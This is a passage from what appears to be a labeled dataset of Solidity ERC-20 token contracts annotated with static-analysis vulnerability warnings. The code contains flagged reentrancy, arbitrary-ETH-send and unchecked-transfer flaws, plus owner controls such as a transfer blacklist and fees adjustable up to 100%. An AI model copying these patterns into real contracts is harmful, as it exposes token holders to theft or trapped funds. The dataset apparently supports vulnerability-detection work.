) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d91d728): token.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d91d728: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ae8b1ce): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ae8b1ce: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fbf3217): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fbf3217: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ae8b1ce\n\t\t// reentrancy-benign | ID: fbf3217\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: ae8b1ce\n\t\t// reentrancy-benign | ID: fbf3217\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 073b20e): token._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 073b20e: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: d1d11f8\n\t\t// reentrancy-benign | ID: fbf3217\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 4f87f4b\n\t\t// reentrancy-events | ID: ae8b1ce\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b814594): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b814594: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 4adf8ed): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 4adf8ed: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: b814594\n\t\t\t\t// reentrancy-eth | ID: 4adf8ed\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: b814594\n\t\t\t\t\t// reentrancy-eth | ID: 4adf8ed\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 4adf8ed\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 4adf8ed\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 4adf8ed\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b814594\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 4adf8ed\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 4adf8ed\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: b814594\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 4f87f4b\n\t\t// reentrancy-events | ID: b814594\n\t\t// reentrancy-events | ID: ae8b1ce\n\t\t// reentrancy-benign | ID: d1d11f8\n\t\t// reentrancy-benign | ID: fbf3217\n\t\t// reentrancy-eth | ID: 30f8d7b\n\t\t// reentrancy-eth | ID: 141c327\n\t\t// reentrancy-eth | ID: 4adf8ed\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function RemoLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: b23af91): token.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for b23af91: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 4f87f4b\n\t\t// reentrancy-events | ID: b814594\n\t\t// reentrancy-events | ID: ae8b1ce\n\t\t// reentrancy-eth | ID: 30f8d7b\n\t\t// reentrancy-eth | ID: 141c327\n\t\t// reentrancy-eth | ID: 4adf8ed\n\t\t// arbitrary-send-eth | ID: b23af91\n _taxWallet.transfer(amount);\n }\n\n function blackbot(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function whitebt(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4f87f4b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4f87f4b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d1d11f8): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d1d11f8: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: c2b22e7): token.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for c2b22e7: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 27bc698): token.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 27bc698: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 30f8d7b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 30f8d7b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 141c327): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 141c327: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: 4f87f4b\n\t\t// reentrancy-benign | ID: d1d11f8\n\t\t// reentrancy-eth | ID: 30f8d7b\n\t\t// reentrancy-eth | ID: 141c327\n transfer(address(this), balanceOf(msg.sender).mul(98).div(100));\n\n\t\t// reentrancy-events | ID: 4f87f4b\n\t\t// reentrancy-benign | ID: d1d11f8\n\t\t// reentrancy-eth | ID: 30f8d7b\n\t\t// reentrancy-eth | ID: 141c327\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: 4f87f4b\n\t\t// reentrancy-benign | ID: d1d11f8\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: 27bc698\n\t\t// reentrancy-eth | ID: 30f8d7b\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: c2b22e7\n\t\t// reentrancy-eth | ID: 30f8d7b\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 30f8d7b\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 30f8d7b\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 1e55199): token.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 1e55199: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 1e55199\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n", "file_name": "solidity_code_10308.sol", "size_bytes": 21976, "vulnerability": 4 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: b360a74\n _balances[sender] = senderBalance - amount;\n }\n\n\t\t// reentrancy-eth | ID: b360a74\n _balances[recipient] += amount;\n\n\t\t// reentrancy-events | ID: 8bf490d\n emit Transfer(sender, recipient, amount);\n\n _afterTokenTransfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IDexFactory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\ninterface IDexRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForTokensSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\ncontract YODAP is ERC20, Ownable {\n using SafeMath for uint256;\n\n IDexRouter private immutable dexRouter;\n\n address public immutable dexPair;\n\n bool private swapping;\n\n bool private swapbackEnabled = false;\n\n uint256 private swapBackValueMin;\n\n uint256 private swapBackValueMax;\n\n bool private limitsInEffect = true;\n\n uint256 private maxWallet;\n\n uint256 private maxTx;\n\n bool public tradingLive = false;\n\n uint256 private split = 20;\n\n address private mktReceiver;\n\n address private projectReceiver;\n\n address private devReceiver;\n\n uint256 private totalBuyFee;\n\n uint256 private buyMktFee;\n\n uint256 private buyDevFee;\n\n uint256 private totalSellFee;\n\n uint256 private sellMktFee;\n\n uint256 private sellDevFee;\n\n uint256 private tokensForMarketing;\n\n uint256 private tokensForDev;\n\n mapping(address => bool) private isFeeExempt;\n\n mapping(address => bool) private isTxLimitExempt;\n\n mapping(address => bool) private automatedMarketMakerPairs;\n\n event UpdateUniswapV2Router(\n address indexed newAddress,\n address indexed oldAddress\n );\n\n event ExcludeFromFees(address indexed account, bool isExcluded);\n\n event ExcludeFromLimits(address indexed account, bool isExcluded);\n\n event SetPairLiquiditt(address indexed pair, bool indexed value);\n\n event TradingEnabled(uint256 indexed timestamp);\n\n event LimitsRemoved(uint256 indexed timestamp);\n\n event DisabledTransferDelay(uint256 indexed timestamp);\n\n event SwapbackSettingsUpdated(\n bool enabled,\n uint256 swapBackValueMin,\n uint256 swapBackValueMax\n );\n\n event MaxTxUpdated(uint256 maxTx);\n\n event MaxWalletUpdated(uint256 maxWallet);\n\n event mktReceiverUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event devReceiverUpdated(\n address indexed newWallet,\n address indexed oldWallet\n );\n\n event BuyFeeUpdated(\n uint256 totalBuyFee,\n uint256 buyMktFee,\n uint256 buyDevFee\n );\n\n event SellFeeUpdated(\n uint256 totalSellFee,\n uint256 sellMktFee,\n uint256 sellDevFee\n );\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1a839f6): YODAP.constructor()._totalSupply shadows ERC20._totalSupply (state variable)\n\t// Recommendation for 1a839f6: Rename the local variables that shadow another component.\n constructor() ERC20(\"YODAP\", \"ODAP\") {\n IDexRouter _dexRouter = IDexRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n AntiWhaleyo_setWL(address(_dexRouter), true);\n\n dexRouter = _dexRouter;\n\n dexPair = IDexFactory(_dexRouter.factory()).createPair(\n address(this),\n _dexRouter.WETH()\n );\n\n AntiWhaleyo_setWL(address(dexPair), true);\n\n _setPairLiquiditt(address(dexPair), true);\n\n uint256 _buyMktFee = 35;\n\n uint256 _buyDevFee = 0;\n\n uint256 _sellMktFee = 35;\n\n uint256 _sellDevFee = 0;\n\n uint256 _totalSupply = 10_000_000_000 * 10 ** decimals();\n\n maxTx = (_totalSupply * 20) / 1000;\n\n maxWallet = (_totalSupply * 20) / 1000;\n\n swapBackValueMin = (_totalSupply * 1) / 1000;\n\n swapBackValueMax = (_totalSupply * 2) / 100;\n\n buyMktFee = _buyMktFee;\n\n buyDevFee = _buyDevFee;\n\n totalBuyFee = buyMktFee + buyDevFee;\n\n sellMktFee = _sellMktFee;\n\n sellDevFee = _sellDevFee;\n\n totalSellFee = sellMktFee + sellDevFee;\n\n mktReceiver = address(msg.sender);\n\n projectReceiver = address(msg.sender);\n\n devReceiver = address(msg.sender);\n\n feesydp_exempt(msg.sender, true);\n\n feesydp_exempt(address(this), true);\n\n feesydp_exempt(address(0xdead), true);\n\n feesydp_exempt(mktReceiver, true);\n\n AntiWhaleyo_setWL(msg.sender, true);\n\n AntiWhaleyo_setWL(address(this), true);\n\n AntiWhaleyo_setWL(address(0xdead), true);\n\n AntiWhaleyo_setWL(mktReceiver, true);\n\n transferOwnership(msg.sender);\n\n _mint(msg.sender, _totalSupply);\n }\n\n function ydpRd_SB()\n external\n view\n returns (\n bool _swapbackEnabled,\n uint256 _swapBackValueMin,\n uint256 _swapBackValueMax\n )\n {\n _swapbackEnabled = swapbackEnabled;\n\n _swapBackValueMin = swapBackValueMin;\n\n _swapBackValueMax = swapBackValueMax;\n }\n\n function ydpRd_Lim()\n external\n view\n returns (bool _limitsInEffect, uint256 _maxWallet, uint256 _maxTx)\n {\n _limitsInEffect = limitsInEffect;\n\n _maxWallet = maxWallet;\n\n _maxTx = maxTx;\n }\n\n function ydpRd_Recv()\n external\n view\n returns (address _mktReceiver, address _devReceiver)\n {\n return (mktReceiver, devReceiver);\n }\n\n function ydpRd_Fees()\n external\n view\n returns (\n uint256 _totalBuyFee,\n uint256 _buyMktFee,\n uint256 _buyDevFee,\n uint256 _totalSellFee,\n uint256 _sellMktFee,\n uint256 _sellDevFee\n )\n {\n _totalBuyFee = totalBuyFee;\n\n _buyMktFee = buyMktFee;\n\n _buyDevFee = buyDevFee;\n\n _totalSellFee = totalSellFee;\n\n _sellMktFee = sellMktFee;\n\n _sellDevFee = sellDevFee;\n }\n\n function ydpRd_Addresses(\n address _target\n )\n external\n view\n returns (\n bool _isFeeExempt,\n bool _isTxLimitExempt,\n bool _automatedMarketMakerPairs\n )\n {\n _isFeeExempt = isFeeExempt[_target];\n\n _isTxLimitExempt = isTxLimitExempt[_target];\n\n _automatedMarketMakerPairs = automatedMarketMakerPairs[_target];\n }\n\n receive() external payable {}\n\n function enableTrading() external onlyOwner {\n tradingLive = true;\n\n swapbackEnabled = true;\n\n emit TradingEnabled(block.timestamp);\n }\n\n function AntiWhaleyo_rmv() external onlyOwner {\n limitsInEffect = false;\n\n emit LimitsRemoved(block.timestamp);\n }\n\n function setSBrngYd(\n bool _enabled,\n uint256 _min,\n uint256 _max\n ) external onlyOwner {\n require(\n _min >= 1,\n \"Swap amount cannot be lower than 0.01% total supply.\"\n );\n\n require(_max >= _min, \"maximum amount cant be higher than minimum\");\n\n swapbackEnabled = _enabled;\n\n swapBackValueMin = (totalSupply() * _min) / 10000;\n\n swapBackValueMax = (totalSupply() * _max) / 10000;\n\n emit SwapbackSettingsUpdated(_enabled, _min, _max);\n }\n\n function AntiWhaleyo_chngeMaxTxVals(uint256 newVl) external onlyOwner {\n require(newVl >= 2, \"Cannot set maxTx lower than 0.2%\");\n\n maxTx = (newVl * totalSupply()) / 1000;\n\n emit MaxTxUpdated(maxTx);\n }\n\n function AntiWhaleyo_chngeMaxWalletVals(uint256 newVl) external onlyOwner {\n require(newVl >= 5, \"Cannot set maxWallet lower than 0.5%\");\n\n maxWallet = (newVl * totalSupply()) / 1000;\n\n emit MaxWalletUpdated(maxWallet);\n }\n\n function AntiWhaleyo_setWL(address updAds, bool isEx) public onlyOwner {\n isTxLimitExempt[updAds] = isEx;\n\n emit ExcludeFromLimits(updAds, isEx);\n }\n\n function feesydp_buy(\n uint256 _marketingFee,\n uint256 _devFee\n ) external onlyOwner {\n buyMktFee = _marketingFee;\n\n buyDevFee = _devFee;\n\n totalBuyFee = buyMktFee + buyDevFee;\n\n require(totalBuyFee <= 100, \"Total buy fee cannot be higher than 100%\");\n\n emit BuyFeeUpdated(totalBuyFee, buyMktFee, buyDevFee);\n }\n\n function feesydp_sell(\n uint256 _marketingFee,\n uint256 _devFee\n ) external onlyOwner {\n sellMktFee = _marketingFee;\n\n sellDevFee = _devFee;\n\n totalSellFee = sellMktFee + sellDevFee;\n\n require(\n totalSellFee <= 100,\n \"Total sell fee cannot be higher than 100%\"\n );\n\n emit SellFeeUpdated(totalSellFee, sellMktFee, sellDevFee);\n }\n\n function feesydp_exempt(address account, bool excluded) public onlyOwner {\n isFeeExempt[account] = excluded;\n\n emit ExcludeFromFees(account, excluded);\n }\n\n function _setPairLiquiditt(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n emit SetPairLiquiditt(pair, value);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 8ba9119): YODAP.txWlt_setMktWallet(address).newWallet lacks a zerocheck on \t mktReceiver = newWallet\n\t// Recommendation for 8ba9119: Check that the address is not zero.\n function txWlt_setMktWallet(address newWallet) external onlyOwner {\n emit mktReceiverUpdated(newWallet, mktReceiver);\n\n\t\t// missing-zero-check | ID: 8ba9119\n mktReceiver = newWallet;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 0a3244f): YODAP.txWlt_setProjectWallet(address).newWallet lacks a zerocheck on \t projectReceiver = newWallet\n\t// Recommendation for 0a3244f: Check that the address is not zero.\n function txWlt_setProjectWallet(address newWallet) external onlyOwner {\n\t\t// missing-zero-check | ID: 0a3244f\n projectReceiver = newWallet;\n }\n\n\t// WARNING Vulnerability (missing-zero-check 